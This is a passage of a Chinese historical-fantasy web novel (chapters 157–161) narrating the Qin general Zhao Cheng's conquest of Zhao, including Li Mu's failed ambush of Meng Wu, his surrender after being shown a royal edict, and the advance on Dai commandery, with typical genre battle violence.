几名弟子探了探逍遥子体内的情况,发现他现在身体之中正涌现出新的生命力来,双臂也在缓缓恢复,这才松了口气。
可是想到刚才逍遥子所说的话,几人都是有些惊疑不定。
“大魔出世?”
“师父身上这伤势,是那大魔伤的?”
“我从未见过师父如此狼狈的模样。”
“三十年前,我入山门的时候,师父就已经是神仙一般的人物了,至今为止,师父的容貌都没有丝毫变化,修为自然更胜从前,竟然抵不过山下大魔。”
“这大魔到底是什么来头?”
“连师尊都被其伤成这个样子,这大魔未免也太强了!”
“师弟师妹,此事连师父都无法应对,咱们不要牵涉其中,当务之急,是赶紧联络师叔。”
“是极,师父常说,师叔的天赋远胜于他,是千年不出的天纵之才,若是有师叔出手,则大魔可定。”
几名弟子又议论了一番,而后几人相继潜行离开洞天,自深山之中四散开来。
……
另一边,番吾城军功已经统计完毕,李信简单休息了一下,就立刻投入城中,开始整兵。
他借助赵军对于赵诚的敬畏,以及完全丧失斗志的心理,将赵军并入部下。
他先是将赵军俘虏去身份化,剥夺了赵军原有编制、旗帜、服饰,统一发放秦军黑色战袍与身份牌,明确“凡降秦者,先为秦民,再为秦兵”。
而后打死宣扬秦国军功爵制度的好处,规定赵俘只要参与对赵作战斩首一级,即可免除“降虏”身份,晋升为正式秦兵。
累积军功甚至能够获田宅、仆役,甚至与秦人通婚。
在这个时期,除了秦国之外,诸国的士兵可没有这么好的待遇。
一时之间,赵军纷纷动摇。
所谓士为知己者死,更何况眼前还有如此实在的利益。
再之后,李信更是将赵国俘兵全部打散,而后并入到秦军老兵主导的队伍之中。
最后,李信更是找来了赵诚训话。
赵诚站在城头,手持大戟,俯瞰城下兵卒,“汝等或念故国,然赵军已败,邯郸旦夕可下。
今降秦者,随我破赵,功成则为秦之功臣;若敢反,我一人可斩万人,汝等断无活路。”
如今不论是秦军还是赵军,都刚刚见识过赵诚的实力,对此自然是深信不疑。
秦军之中,对于赵诚异常狂热,张口便是崇敬之词,使得这些俘虏完全不再相信赵军能够战胜秦军。
既然早晚都是秦国子民,早早为秦国而战,似乎也不是那么难以接受了。
清除了赵军倒戈的风险,李信便找到赵诚,表示可以进军夹击李牧一部了。
此时,上党郡的北部战场正陷入僵持。
蒙武率五万秦军主力屯于太行山陉口,与李牧的三万赵军在井陉关对峙。
王翦则率另一股军队驻守铜鞮,防备李牧麾下的副将司马尚从代郡迂回的同时,对代郡亦是虎视眈眈!
李牧凭借井陉关的天险,以“固守疲敌”之计拖住秦军脚步,可谓是寸步不退。
双方都在等待对方露出破绽。
在这种名将的手底下,一个小小的破绽,都能够无限放大,最终发出致命一击。
到了他们这等层面,过招已经不再看谁能够出奇制胜,而是看谁能够顶住高压,不露出一点破绽和失误。
每一次试探,背后都藏着无穷后手。
只要一时不查上了勾,那就是万劫不复。
双方都太清楚这一点了,所以战事才会如此焦灼。
可如今,这个僵持的局面出现了一个大口子,那就是赵诚撕下的番吾。
当番吾方向烽火连天,李牧终于是长叹一声,“终究还是晚了一步。”
“血屠阎罗,真是名不虚传。”
李牧心中开始萌生退意,固守固然简单,但是在两位名将虎视眈眈之下,想要撤退,更是个技术活。
李牧思来想去,还是不敢冒险,只能壮士断腕,留下一部精锐,死守险地。
而后迅速率领大部队撤退。
而另一边,蒙武和王翦都是察觉到了不对劲。
蒙武坐于营帐之中,皱眉苦思。
“为何感觉最近敌军守城愈发奋勇?这不合常理。”
“李牧此人,守城如山,稳扎稳打,若是想要打持久战,不会如此。”
“难道是诱敌之计?”
蒙武正苦思之际,一名咸阳使者奔马而来,传递急报。
“蒙将军,咸阳急报!”
蒙武眉头一挑,“难道是陛下同意了我的提议,准备复用阿诚了?”
他立刻将急报接在手中,看了几眼,顿时脸色一变。
“什么!?”
“阿诚已经攻下了邯郸!?俘获了赵王!?”
这急报,真如石破天惊,让蒙武震惊无比。
赵诚与嬴政密谋,就连他都不知道,还以为赵诚现在还在颍川郡当郡尉呢。
怎能想到,在他们这边战事焦灼的时候,李牧那个老家伙的老家都被赵诚偷了!
“哈哈哈!李牧老贼,饶是你防守滴水不漏,又如何抵得住血衣军三日下邯郸?”
“阿诚攻下邯郸,若是北上……”
“不对!”
蒙武眼睛突然一瞪,看向对面的城头。
他一拍大腿,“这老贼要跑!”
“来人,传令下去,全力攻下此城,追击敌军!”
下一刻,营外已经是传来惊天喊杀声。
确定了不是诱敌之计,蒙武全力攻城,不到半日,便已经拿下。
而后衔尾追击,死缠烂打。
李牧也不愧是名将,竟然接连在蒙武追击路上设伏,数次击退蒙武的追击。
蒙武那是死缠烂打,死死拖住李牧的脚步。
而与此同时,王翦也是同时收到了咸阳急报。
但看到急报的那一刻,王翦却并没有太多意外,反而一脸果然如此的表情。
他迅速拿出舆图,指尖在各处要道关节处划过。
“以赵诚之勇,不会只甘于攻下邯郸,定会北上。”
“不论李信一部是否被李牧吃掉,血衣军都会吃下番吾。”
“邯郸被破的消息,李牧只会比我更快得到,番吾一破,他必要撤兵,往代地固守。”
他的指尖,最后在井陉关以南的“狼牙谷”处顿住,而后轻轻砸击了两下。
“狼牙谷一合,赵国的百年气数,便断在此处了。”
第157章 狼牙伏兵噬秦甲,李牧提剑破龙骧
当此之时,秦赵之战进入终局白热化阶段。
蒙武衔尾追击,死缠烂打。
李牧边打边退,有条不紊。
王翦战起铜鞮,南下围堵。
赵诚疾驰北上,势如破竹。
李信急追猛赶,拍马不及。
星夜之下,李牧看着前方的狼牙谷,默默拿出一枚令牌来,递给公子嘉。
“公子,这是胡刀风骑令牌,你持此令牌,得胡刀风骑护送,立刻前往代地,隐藏起来。”
“若我能带兵归来,则在代地拥你为王,吾等复国有望。”
“若我没能归来,你便韬光养晦,等待来日复国之机。”
公子嘉愕然看着李牧,这赵国的脊梁,终于也顶不住这天倾般的压力,微微地弯了下去。
“上将军……”
“蒙武拦不住你的,咱们一起去代地……”
李牧摆了摆手,“无需多言,此时再退,便彻底没了生机。”
“吾若在此设伏,或可吞下蒙武一部,届时才有一线希望。”
这一路上,他都是以小股军队设伏,既最大限度杀伤了蒙武一部,又拖慢了蒙武的脚步,争取了设伏的时间。
同时,还降低了蒙武的戒备之心。
为的,就是此刻全力一击,打蒙武一个措手不及。
他苦心孤诣制造出来的时间差和心理差,此时将化作最为锋锐的利刃,斩下这条衔尾而来的秦军长龙。
成了,则搏出了一线生机,将十死无生的局面,化作九死一生。
而后继续周旋,想方设法扩大优势,未尝没有复国之机。
败了,也算是尽了全力,无非功败垂成,无甚好说。
“事不宜迟,公子动身吧。”
李牧摆了摆手,胡刀风骑将公子嘉带在马上,而后疾驰而去。
眨眼之间,整只风骑队伍已经消散在了夜色之中。
胡刀风骑本就是能够和铁鹰锐士掰手腕的特种军队,其中更有许多身怀奇能的萨满修士。
没了大部队的拖累,他们的速度会非常之快,就算遇到了部队围杀,也能够凭借超绝的机动性突围而出。
这让李牧能够放心处理眼下的事情。
他依然以小股部队设伏。
但同时又将所有的骑兵埋在两翼,埋的很深。
而后雁形阵的重装盾阵伪装好,山谷之上,布好精锐弓手……
最后,则是一如撤退时那般,带着大部队踏入狼牙谷之中。
一切一如往常,看不出丝毫痕迹。
赵军的大部队依然有条不紊,一如李牧的眼眸般,古井无波。
“报!发现赵军斥候行迹!”
“报!探清赵军位置,赵军在前方三十里处!”
“报……”
小半个时辰之后,蒙武追击而来。
因为李牧急行的时间差,蒙武追上李牧的时间,与他自己计算的并无区别。
蒙武继续下令行进,并让两翼加强戒备。
果然,不出一盏茶的功夫,两侧杀声大作,两股赵军精锐突袭而来,直逼秦军侧翼。
而蒙武早有准备,指挥大军抵御,阵型密不透风。
伏兵目标只是牵制,减缓蒙武行军速度,见蒙武戒备应战,立刻就要退走。
却被蒙武早就准备好的侧翼骑军包抄了后路,而后两面夹击,从容地将这一股伏兵吃下。
再次应对了小股部队埋伏之后,斥候已经来报“报!李牧一部在前方二十里处,行军正缓。”
蒙武点了点头。
这也符合李牧的行军规律,张弛有度,将部下士卒体力利用到最大化。
蒙武虽然急追,但每一步依然稳扎稳打,看了狼牙谷的地形之后,他将所有斥候都撒了出去,排除可能遇到的危险。
但李牧埋下的骑兵实在太深了。
深到不像是埋伏,倒像是分散逃离的两股兵力。
蒙武一边追赶,一边警戒。
直至发现一切如旧,于是卸下防备,全力追击。
却在深入狼牙谷之时,遭遇精锐弓手埋伏。
两侧箭落如雨,蒙武从容应对。
迅速突围,直逼前方李牧部队。
虽然小有损耗,但是还能接受,只要拖住李牧,等到血衣军一到,赵国便全境失守。
可他没想到的是,李牧竟然还有准备。
在前方雁形阵成形的瞬间,狼牙谷后方传来阵阵马蹄落地声如惊雷。
赵军的大量精锐骑兵全在后方疾冲而至,而前方李牧的雁形阵也开始调转矛头,朝着蒙武一部推进而来。
“呵,你想在此吞掉我这一部?”
蒙武瞬间察觉李牧意图,虽惊不乱,令旗快速挥舞之间,阵型亦是变幻莫测。
一方围杀,一方抵御。
如同两条长龙,狠狠厮杀在了一起,掀起腥风血雨。
李牧为这一战,耗费了太多心血,自然势如雷霆。
蒙武虽然应对得当,但一步慢步步慢,抵御的节奏很快被打乱,阵型也开始出现了口子。
这是他第一次感受到李牧的全部实力。
终于体会到了赵国这名最后的脊梁所带来的压迫感。
而另一旁,李牧看着部下逐渐蚕食敌军,脸上却并无得意。
蒙武的抵抗远比他想象的要坚韧从容。
留给他的时间不多,必须速胜。
他眯了眯眼,紧盯敌军之中那从容下令的身影,“司马尚!”
魁梧如塔的司马尚抱拳喝道,“末将在!”
却见李牧缓缓拔出了佩剑,佩剑雪亮,映照寒芒。
“随本将冲阵,擒杀蒙武!”
“将军,这……”司马尚愕然。
他何曾见过李牧冲锋陷阵,自追随以来,这位上将军从来运筹帷幄,决胜千里之外。
只以排兵之计,便能抵御无边强敌。
如今,已经要亲自下场作战了?
事情已经糟糕到这个地步了吗?
“怎么,你不敢?”李牧难得露出一抹笑意。
司马尚连忙道,“将军乃全军主心骨,万万不可有所闪失,擒杀蒙武,末将一人足以!”
李牧摇了摇头,“往日只是没必要陷阵,但今天却是不得不出手。”
“本将在战场上杀敌时,你还不知道在哪玩泥巴,真当本将只能坐在帐中下令?”
“冲阵!”
李牧策马,一冲向前,竟如疾风掠草,一往无前。
寒光一闪之间,十数名秦军头颅飞起。
所过之处,竟无一人能敌!
司马尚紧随其后,见此一幕愕然得说不出话来。
这……
上将军竟是智勇双全!?
第158章 弦裂长空诛司马,令断危局起秦锋
“杀!”
喊杀声震天,兵器与铠甲撞击的声音,与利刃切割血肉的声音激烈交响。
强风掠过狼牙谷,吹散了血雨,带起无尽腥风,扑面而来。
李牧所设下的伏兵从地面八方凶猛冲杀出来,一时之间四面埋伏。
蒙武所率领的秦军一开始还有一些慌乱,但在蒙武有条不紊的指挥下,很快就站住了阵脚,有序地应对着四面攻杀。
而因为蒙武的突出表现出乎了李牧的预料,为了在另一部秦军赶来之前,将蒙武一部完全吞下,李牧亲自提剑上阵。
一出手,就展现了极强武力。
司马尚率领的先锋精锐紧随其后,使得这一部如同锋矢一般,极速切入战场,直奔蒙武所在。
蒙武也未曾想过,李牧竟然又如此武力。
意外之下,立刻挥动令旗,尝试驱使士兵,将其拦截。
但此时四面受击,能够在这种情况下稳住局面,已经是非常难得的事情,想要再腾出力量来阻拦李牧,已经不太现实。
蒙武看着调动的精锐士卒被李牧砍瓜切菜一般杀掉,心中难免有些怀念起手下有赵诚的日子。
若是赵诚在此,哪里有李牧冲阵的机会。
赵诚早就冲进去把李牧宰了!
他看了看左右亲卫,估算了一下他们的实力,结论是他们也不会是李牧的对手。
事到如今,只能拖一阵是一阵了。
他带着亲卫向着后方退去,李牧冲杀虽猛,但击杀士卒毕竟还需要时间,而他则可以在自家兵阵之中自由来去。
唯一的不足是,行兵遣将会受到一定的限制。
当此之时,形势再次逆转。
变成了蒙武跑,李牧追。
李牧的宝剑极为厚重锋锐,每一次挥舞,都能够带起虎虎风声,又有裂甲之能,即使大量秦军拦截在路上,亦能几剑劈出路来。
速度竟是不慢。
这个时候,就体现出了蒙武的治军之能。
若是寻常军队见到敌方主将冲阵,追杀我方主将,定会大乱阵脚,而后开始攻击地方主将,保护我方主将。
但蒙武的手下此时却依然严格遵守他的命令,维持这之前下令所布置的阵型,死死抵御四方伏兵,没有丝毫混乱,也没有人脱离自己的位置,去对付李牧。
“秦将蒙武,真是深得其父真传。”
李牧轻叹一声,再次策马向前,速度更快一层。
撕开一条血路,直逼蒙武。
“将军,我来挡住他,你快走!”
两名亲卫见状立刻调转马头,仓喨一声拔出剑来,奔向李牧。
长剑袭来,李牧却不闪不避,手腕一转,那极为厚重的镇岳宝剑便将两名亲卫的长剑斩断!
而后噗嗤两声。
两颗人头飞起,鲜血飚飞。
蒙武看得咬牙不已,“李牧,赵国灭亡是早晚的事情,你已经无力回天,何不投入秦国?”
“谁说无力回天,杀了你,就还有一线生机。”李牧身子低伏,开始策马加速。
蒙武开弓搭箭,直指李牧要害。
李牧信手拨飞,去势不减。
司马尚更是紧随其后,护持左右。
蒙武心知跑不掉多久了,不如回头一搏,“那血衣军炼体功我练了也没有多久,不知道有没有效果啊……”
蒙家已有家传食气之法,蒙骜就身怀兵家秘法,但到了蒙武这里,却好似没有根骨一般,修不出内气,只学会了与兵法配套的剑法。
但自从学习了血衣军炼体功之后,他发现自己好似可以修炼家传秘法了,可惜现在身子骨已经老了许多,修炼速度缓慢。
不过都到了这个时候了,也只能硬着头皮上了。
他调转马头,也是拔出剑来,策马反冲。
亲卫与其同时冲向李牧。
李牧大笑一声,“来啊!”
蒙武也爆喝一声,“来!”
叮当,两剑相击。
蒙武的剑顿时出现了豁口,而后弯曲到了极致。
他面色一变,才知道李牧竟然怀有如此巨力,在一瞬间将他的力量碾压,让他连最基础的剑法都施展不出来。
只能拼尽全力抵抗,不让对方的剑突破力量防线,割了自己的喉咙。
他使出身体之中所有力量,但李牧的镇岳宝剑依然寸寸向前。
蒙武胯下的马儿都被逼停,连人带马一起向着后方被李牧冲势压去。
蒙武脸色涨红,青筋毕露,身形更是不断后仰,老腰都传来了咯咯声音。
也幸好之前练了一阵炼体诀,不然现在一招都挡不住。
此时四名亲卫已经接连被司马尚斩杀。
司马尚亦是从一侧向着蒙武杀来。
蒙武现如今是前有虎,后有狼,想要变招,但喉咙前方压着千钧之力,一刻都不能松懈。
这一口气顶住,随时都有可能泄掉。
蒙武心头大骂李牧不讲武德,一个李牧就已经这么强了,竟然还带了一个司马尚来!
眼看司马尚的长剑已经挥起。
蒙武突然咬牙侧身,以肩头迎击李牧的长剑。
但争取这个机会,却不是为了抵抗司马尚,而是去摸令旗。
他要在死之前,下达最后的命令,让所有士卒保持阵型,死死拖住李牧一部,等待援军到来!
到时候,只要稍稍稳住一段时间,就能够拖到血衣军到来。
这一刻,李牧的长剑轻松突入,斩向蒙武胸口,后方更有司马尚一剑直逼其后心。
而蒙武的右手也摸到了令旗,正要挥舞之间,却发现李牧已经变招。
“想发令,问过我的剑了吗?”
他竟然不取蒙武的命,转而一剑斩断了令旗。
令旗被斩断,蒙武的剑也已经掉落在地,司马尚的剑风已至,令其背后肌肤传来刺痛。
嚟!
一声尖锐嘶鸣突然贯穿狼牙谷。
身后传来噗嗤一声,一股热血洒在蒙武的后背之上。
咦?
致死之伤竟然不痛!
蒙武毕竟也没死过,心中有些惊奇。
一抬头,却发现对面李牧的表情,比他来的还要惊奇。
不是,你惊奇个什么,剑又没戳在你身上。
蒙武顺着李牧的目光扭头一看,顿时更是惊奇。
却见司马尚手臂和喉咙上同时插着一支箭矢,鲜血正呈斜弧飚飞,看这走向,显然他后背上的血就是司马尚的。
蒙武顿时恍然。
哦豁!
怪不得不痛,原来剑也没戳在我身上,戳在司马尚脖子上了。
痛的该是他才对啊。
不过这箭哪来的……
当此之时,突破音爆的弓弦炸响才自远方隆隆传荡开来,声若滚雷,惊醒无数埋头抵御的秦军。
好似反攻的号令声,令他们浑身一震,眸泛强光。
第159章 戟卷腥风屠锐士,令摧忠骨碎赵魂
“这箭矢,这声音……”
“是阎王令!!”
“血衣军来了!”
“赵诚将军就要到了!”
灭韩一战,赵诚就在蒙武一部,这里的许多秦军都曾参与过那几场有名的攻城之战,对于这种不见其人,只闻弦崩的杀人方式,实在是太熟悉了。
虽然这弓弦炸响之声远胜从前,但除了赵诚,还有谁能在如此远到看不到人的距离之下,射杀强敌?
这道弓弦炸响,就像是一道强心剂,狠狠地打入了所有秦军心中,也打入了蒙武心中。
在秦军奋发,嗷嗷叫着反攻之时。
蒙武那后仰到极限的老腰也渐渐挺直,挺到一半,他老腰一颤,“嘶……”
刚被李牧打的闪了腰,但此时在大敌面前,不能落了势头,于是他咬牙挺直脊背,气态从容地抽出了另一枚代表强攻的令旗。
当着李牧的面挥了挥。
“李牧,大势已去,不如投降。”
李牧脸泛惊色,四处观察了一下,硬是没有找到弓手身影。
此箭太过玄奇,让他惊疑不定。
“此箭是从哪里射来的?”
蒙武高深莫测一笑,“未曾听闻阎王令乎?”
“阎王令……”
李牧想起了什么,脸色黯然的同时,眼中杀意如潮。
“确实大势已去,不过蒙武你也陪我走吧!”
死也得拉个垫背的。
他再次提剑,宝剑划过光弧,直逼蒙武的咽喉。
他有信心在那血屠反应过来之前,收去蒙武的性命。
毕竟那弓箭再快,也在百步之外,怎会有他的剑快?
蒙武大为愕然,都他娘这样了,还要拉老子做垫背?
完啦!
李牧果然不讲武德!
然而就在此时,又是一道尖锐破空声袭来!
叮!
李牧的镇岳剑上好似传来崩山之力,震得他虎口手腕都是一痛,镇岳宝剑更是差点崩飞出去,被他强行握住。
但是斩击之势自然消散,被打向了一旁。
而与此同时,一连七道锋锐箭矢,裹挟劲风擦着李牧的要害而过。
嗤嗤嗤嗤!
他的将军铠甲被射穿了七个小洞,要害之处更是传来刺痛之感。
李牧浑身一僵,低头看去,却发现,这些要害之处只是破了皮。
“这是……警告?”
“不然呢?”蒙武长出一口气,受惊程度,不比李牧好多少,“那小屠子瞄着你呢,我劝你不要乱动。”
“呵!”李牧冷笑一声,“不杀我,真当我李牧是贪生怕死之辈,会投敌不成?”
“李牧就算是死,也要死在杀敌的路上!”
“蒙武,死来!”
李牧怀抱必死之志,再次袭杀蒙武。
而蒙武早就悄咪咪地向后退了好几步,眼看李牧又要发疯,当下策马向后狂奔。
“李牧你他娘的疯了!?”
“我秦军哪里比不过赵军,不够你施展才能吗?”
李牧被赵诚几箭打破复国梦,现在已经放弃智谋周旋了,直咧咧地喊道,“蒙武,你有种别跑!”
蒙武知道赵诚来了,也扔掉了脑子,和李牧对骂,“李牧,你有种别追啊!”
毕竟是移动靶,他也没把握赵诚离得那么远能够射中李牧。
当然,最主要的是,他也不想李牧被赵诚射死。
此人乃赵国国柱,又是智勇双全,能以一人之力,抵御王翦和他的功法,独自撑起赵国这个即将垮塌的大厦,可见其天纵之才。
死了实在可惜。
而这李牧追来,一时半会追不上,那箭矢果然没有再出现。
李牧策马狂奔,他的马极高极大,奔行如雷,在这军阵之中都是鹤立鸡群,是最为顶尖的神骏!
蒙武的虽然也不差太多,但速度还是稍逊一筹。
眼见又要被追上,蒙武一指天上,“箭来了!”
李牧一惊,虽有死志,但还是想先弄死蒙武,拉个垫背。
可这抬头一看,哪里有什么箭!
“蒙武!”
李牧气坏了,他英明一世,临了竟然上了这种当,真是奇耻大辱!
“你好歹是一代名将,竟用如此小儿伎俩,吾羞于杀汝!”
“那你就别杀了!”
他再次策马疾奔,追杀蒙武。
然而一道巨大黑影突然落下,眼前一黑的同时,轰隆一声!
神骏侧翻,横飞而去。
一只大手趁机抓住了李牧的脖子,夺去了他的镇岳。
李牧心惊,抱着死志反击,全身上下却好似被大山压住,动弹不得。
“李牧,接赵王令。”
李牧抬头,目光与一双凶眸对上,竟感到了莫大压力。
这少年,当真神武!
他低头看了看赵诚手上的诏令,上面确有赵王印。
李牧嗤笑一声,“声名赫赫的血屠阎罗,也用这小儿伎俩?”
“赵王已经被你生俘,他的诏令,有何可信之处?”
赵诚又随手丢出一个赵国令官,“此人是我半途生俘,在我灭韩之前,诏令以下,吾杀敌如宰鸡,屠军如灭蚁,又何必骗你?”
赵诚随手将李牧丢在瑟瑟发抖的令官一旁,又将诏令随意丢在他的身上。
而后大戟一撩,轰隆隆撩出罡风龙卷。
罡风猎猎,有如刀山压去,又如天灾飓风,瞬间席卷前方李牧所率领的精锐擒将队。
罡风所过之处,地皮卷起三尺,骏马斩成碎肉,士卒灰飞烟灭。
那是血雨如潮,断肢横飞。
一戟屠灭百人!
李牧呼吸一滞,第一次真切地感受到血屠阎罗四字之下的尸山血海,万将骨枯。
这是杀出来的威名!
如此人物,三日直取邯郸,实在太过寻常,又何必假作诏令骗他?
李牧叹息一声,拿起诏令看了起来。
一看之下,不由得深深皱眉。
“制诏大将军李牧:
朕承宗庙之灵,统赵国之众,当此秦寇压境、邯郸危殆之际,赖将军久镇北陲,尝却强敌,固朕之倚也。
然近察军情,或有流言,将军拥兵自重,逗留不进,与秦私通,意图叵测。
夫将者,承君命以统军,秉忠义以卫社稷。今秦师已越井陉,烽火及于城郊,而将军按兵不动,久无进取,朕心实忧。
且闻军中流言,谓将军欲效穰苴、乐毅之事,挟兵威以胁君上,此非社稷之福,亦非将军之幸也。
朕念将军昔日之功,未忍加诛。其即解兵符,归邯郸待罪。
另遣赵葱为将,颜聚副之,代掌全军。
若将军迁延不从,抗旨不遵,寡人将命阴山谍卫捕治,以正国法!
布告天下,使明知寡人之意。
赵王迁诏印”
第160章 血屠献首摧赵祚,李牧降秦裂边尘
“朕念将军昔日之功,未忍加诛……”
“若将军迁延不从,抗旨不遵,寡人将命阴山谍卫捕治,以正国法……”
这几行字是如此的刺眼,李牧微微眯起了眼睛,一口郁郁之气就涌现在了心中。
他在前线殚精竭虑,苦苦支撑。
后方却说他要挟兵威以胁君上。
几乎不用多想,就能够知道,这必然就是那郭开在后方搅风搅雨。
当年的廉颇,就是因为看不惯郭开在朝中的所作所为,出言叱喝了郭开之后,被郭开怀恨在心,而后没有多久,就被郭开用计,去了大将之职。
只是他想不明白,赵国已经危如累卵,这郭开为什么还要陷害自己?
难道他不知道,如果自己被替换掉了,秦国将会长驱直入吗?
如李牧这等忠国之人,是想不到郭开的底线的。
似乎看出了他的疑惑,赵诚说道,“君不闻兵家诡道,战场内外,皆是穷兵角逐之所?”
“所谓攻城为下,攻心为上,战场上秦国兵力虽然强盛,但李将军防守森严,无法突破,自然将矛头指向更加脆弱的地方,比如郭开。”
“赵国局势糜烂,郭开自然恐慌,若是许诺他投入秦国,依然荣华富贵,他自然可以高枕无忧地对付李将军。”
“李将军现在还怀疑,这份诏令是假的吗?”
李牧没有说话,皱眉许久,还是长长叹了口气。
“以我对郭开和大王的了解,这份诏令就算是假的,与真的也无异了。”
到了这个时候,诏令真假已经不重要了。
这就和郭开施展的阳谋一般,赵诚只是点出这一种可能,以李牧的兵略,自然而然会推演出事情未来的走向,预见到自己那苍凉的结局。
赵诚点了点头,又丢出了几个阴山谍府的谍令。
“这是随令官而来的谍令,除此之外,郭开之前密谋加害我的亲眷,所以现在正在邯郸大牢内生不如死,不会有什么好下场的。”
“至于李将军,做个决定吧。”
“若是投诚,这赵国边军,吾可以留下他们的性命。”
“若是不愿,那某便尽屠之,就算是为将军送行了。”
李牧敏锐地发现,赵诚说到投诚时,眼神之中带着克制。
但说道尽屠之的时候,那双眼之中却有克制不住的杀意,而杀意之中,则是夹杂着一丝不易察觉的兴奋。
传闻是真的,这血屠好杀人!
随着赵诚话音落下,地面微微的震动起来,远方已经能够看到血红军旗猎猎席卷,血衣军正如刀锋而来,直逼战场。
只看其军气,李牧就是心头一沉。
等到离得近了一些,李牧更是双目一瞪,睚眦欲裂。
“公子……”
只见那最前方的血衣军将领手上提着一个头颅,正是公子嘉!
“你……”
他手指头颤抖着指了指赵诚,却说不出话来。
心中翻起惊涛骇浪。
这赵诚竟然提前命人去拦截公子嘉了,他难道不应该第一时间来支援吗?
而且,胡刀风骑的速度和路线都极难把握,他究竟是怎么知道的,难道我身边出现了内鬼?
李牧一时间想了很多很多,但依然没有想通赵诚是怎么做到这一步的。
他再次看了一眼公子嘉的头颅,不由得长叹了一声。
“大势已去……”
“赵王昏庸,信谗黜忠,赵国已经塌了……”
他环视四周,看了看那些为赵国而战的儿郎,终于还是说道,“某愿降秦!”
赵诚笑道,“未来这天下,都是秦国,天下子民,尽是秦民,不过是早晚的事情,李将军也不必扭捏。”
秦已经连续吞并韩赵之地,兵锋之盛,锐不可当。
赵诚所说,也算是可以预见之事。
李牧心中却也好受了一些。
等到王翦带着大军赶来围堵的时候,赵军已经全部缴械投降了,血衣军和蒙武一部正在处理手尾。
见到连李牧都被收降了,王翦深感不可思议。
作为灭赵主力之一,王翦曾多次和李牧交手,深知李牧的能力不凡。
本来还以为此战可能会持续很久,没想到从得知赵诚出手开始,到李牧兵败,不过短短一日时间。
赵国全境失守,也不过就是这几日的事情。
见了赵诚,王翦发自内心地感叹道,“赵将军三日取邯郸,俘赵王,又北上俘李牧,此中风采,更胜当初灭韩之时啊!”
赵诚摆了摆手,“还要多亏了王将军和蒙将军在前线牵制李牧一部,不然我如何能够这么轻易地攻下邯郸?”
“赵将军谦虚了,就算没有我们两个牵制,以你的能力,也能够轻松攻克的。”
王翦说完这一句之后,话头一转,说道,“不过,赵国还有许多城池是由地方贵族、官吏,亦或者是将领直接管辖,尤其是边境重镇和战略要地。”
“比如说代郡,雁门关等地,这些地方长期承担防御匈奴和秦国的任务,形成了自己的一套军队体系。”
“现如今,虽然邯郸陷落,李牧被俘,但他们依然会顽固抵抗。”
蒙武则是说道,“没有了李牧,他们群龙无首,就算抵抗,也没有什么威胁,咱们可以趁势强攻,速下赵国全境。”
王翦说道,“那边由血衣军为锋,北上攻下赵国全境顽抗势力,我与蒙将军紧随其后,为赵将军收尾,如何?“
“如此甚好!“
赵诚表示赞同,实际上,因为劝降了李牧,北上这一路他杀的人并不算多。
而之所以劝降李牧,是因为此人确实是一代名将,极有才能,能够为秦国所用自然最好。
不能用再杀也不迟。
而李牧投降了,他手下的赵国边军自然也是投降了,这些也算是精锐,日后若是心态转变,能为秦国而战,那杀了未免可惜。
如此一来,赵诚的目光自然是落在了那些还想顽固抵抗的城池上。
王翦蒙武与赵诚细细规划了一番之后。
第二日,赵诚便带着血衣军继续北上。
一路上势如破竹,摧枯拉朽……
第161章 血衣绕后屠伏莽,代郡惊破夜郎心
“听闻赵将军率领血衣军前来,吾等已经备好了宴席和粮草,请将军入城!“
城门之外,赵国的地方官吏排成一排,在城外亲自迎接赵诚。
这使赵诚十分无奈。
一路北上,十座城池有八座是这般。
他们早早得到邯郸陷落,赵王被俘的消息。
见到赵诚杀来,自然是立刻出城投降。
只有寥寥几个没得到消息的,尝试抵抗,结果当然是被血衣军轻松杀穿,而后被后面赶来的王翦蒙武等部接手收尾。
一座座城池被攻克,血衣军来了又走,而后两军大部队接连进驻,将赵国的无数城池接连占领。
如此,赵诚一路杀到了代郡。
……
“报,血衣军抵达前方五十里!目测兵力为一万,行军速度很快!”
“还真只有一万人,一万人就这样攻打到代郡来了?"
“邯郸陷落得太快,那些地方官吏都被吓破了胆,根本不需要攻打,自己就投降了。”
“我到现在都想不通,李将军怎么会反戈的?”
“定是那郭开进献谗言,导致李将军寒了心。”
“无妨,血衣军只有一万人,这等兵力,都不够我们塞牙缝的。”
“哼,往日里打匈奴,那一次不是三万起步,一万人也敢来代郡,真当我们边军是泥巴捏的?”
“我觉得诸位还是小心一些,这血屠八日灭韩名震诸国,如今率领血衣军,更是在短短三日之间,就攻破邺县,渡过漳水,拿下邯郸,定是有大本事的。”
“我说老刘你还是别长他人志气,灭自己威风了,赵国被那郭开搞得乌烟瘴气,邺县也好,邯郸也好,有什么可堪用的将领和军队?”
“这些家伙平常松弛惯了,就算让我上,我也能三日之内拿下邯郸!”
“说的也是,往日里李将军主掌大局,没有我等发挥的余地,如今李将军倒戈,也让他看看我们的能力!”
“你们都往后稍一稍,我先带兵伏击,他敢这样大摇大摆地来,我让他连代郡的大门都进不来!”
“好!!我陈兵策应!”
“我紧随其后,包抄后路!”
“……”
代郡之中,重兵陈列。
大营之内,七八名将领得知一万血衣军来攻打代郡,都是有些不以为意。
这里是赵国王室的发源地,这些代郡将领之中,多有赵国贵族。
他们常年镇守边境,与匈奴作战,更是手握精锐部队,一向不将赵国内部的那些军队和将领放在眼中。
李牧带兵离开之后,这里还有许多残余的赵国精锐边军力量,用以防备匈奴。
正常来说,这种边境重镇往往能够形成有组织的强大抵抗,会在国都陷落之后,依然坚持抵抗数月甚至一两年。
秦国正常的策略是,先消化赵国其他大部分地域,如代郡这种边镇可有可无,也算不上什么威胁,慢慢派兵围攻便是。
但赵诚如今在这里,自然是要直接打进去,全都灭掉才行。
敌军抵抗得越厉害,他就越兴奋。
遇到代郡这等陈列重兵抵抗的,那就像是饿狼看到一头白花花的小乳猪,大戟已经是迫不及待。
可怜代郡这些将领,还以为李牧走了自己就能够大展身手了。
殊不知,阎罗将至。
“将军,前方窄道有伏兵埋伏!兵力两万!”
代郡的所谓精锐,在血衣军面前,就像是小孩子过家家。
他们以为自己埋伏的很好,但在血衣军眼皮子底下,和大摇大摆站在路边没有什么区别。
“你们带人去绕他们后路,把他们赶到路上来杀,不要影响咱们行军速度。”
是的,赵诚甚至都不打算放慢速度。
冯全封若得令之后,立刻带着两千人的血衣军绕行出去。
而前方山林之中,代郡将领赵佐还在洋洋得意。
“哈!什么血屠阎罗,连埋伏都察觉不到,竟然是毫无所觉,行军速度不减,也不排查周围,直接踏入险地。”
“这等没头没脑的大头兵,也能三日攻下邯郸,邯郸之中,真是一群酒囊饭袋。”
“儿郎们,准备杀敌!今日,就是咱们代郡边军,屠尽血衣军扬名之日!”
“今日之后,咱们南下夺回邯郸!”
